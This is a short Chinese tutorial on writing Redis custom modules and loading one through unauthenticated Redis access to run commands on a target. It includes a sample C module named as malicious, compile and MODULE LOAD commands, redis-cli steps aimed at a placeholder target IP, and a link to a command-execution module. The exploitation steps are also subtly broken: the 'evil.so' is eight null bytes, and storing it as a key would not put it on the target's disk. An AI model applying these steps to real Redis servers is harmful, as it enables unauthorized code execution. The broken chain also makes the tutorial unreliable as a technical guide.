其他
Redis编写自定义模块
简介
Redis自定义模块允许用户扩展Redis的功能,添加新的命令和数据类型。这种灵活性使得Redis不仅仅是一个键值存储,还可以用于更复杂的应用场景。然而,这也带来了潜在的安全风险,攻击者可能利用这些自定义模块执行恶意命令。下面是关于Redis自定义模块执行命令的介绍和漏洞利用方法。
Redis自定义模块介绍
Redis自定义模块是从Redis 4.0版本开始引入的,允许开发者编写自己的模块并加载到Redis中。模块可以用C语言编写,并编译成动态库(.so文件),然后通过Redis命令加载。
创建模块文件:编写一个简单的C语言文件,例如malicious_module.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "redismodule.h"
int MaliciousCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
RedisModule_ReplyWithSimpleString(ctx, "Malicious code executed!");
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx, "malicious_module", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
if (RedisModule_CreateCommand(ctx, "malicious_command", MaliciousCommand, "write", 1, 1, 1) == REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
return REDISMODULE_OK;
}
编译模块:
gcc -shared -o malicious_module.so malicious_module.c -I /usr/share/metasploit-framework/data/exploits/redis/ -fPIC
将编译文件移动到默认目录:
cp malicious_module.so /etc/redis
加载并使用模块:
redis-cli
127.0.0.1:6379> MODULE LOAD /etc/redis/malicious_module.so
127.0.0.1:6379> MODULE LIST
127.0.0.1:6379> malicious_command
漏洞利用方法
攻击者可以利用Redis的未授权访问漏洞加载恶意模块,从而执行任意命令。以下是一个利用Redis未授权访问漏洞加载恶意模块的示例。
写入恶意模块:
echo -e "\x00\x00\x00\x00\x00\x00\x00\x00" > /tmp/evil.so
redis-cli -h <目标IP> -p 6379 -x set mymodule < /tmp/evil.so
加载恶意模块:
redis-cli -h <目标IP> -p 6379
MODULE LOAD /tmp/evil.so
执行恶意命令:
redis-cli -h <目标IP> -p 6379
evil.command
Other
更多模块:
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand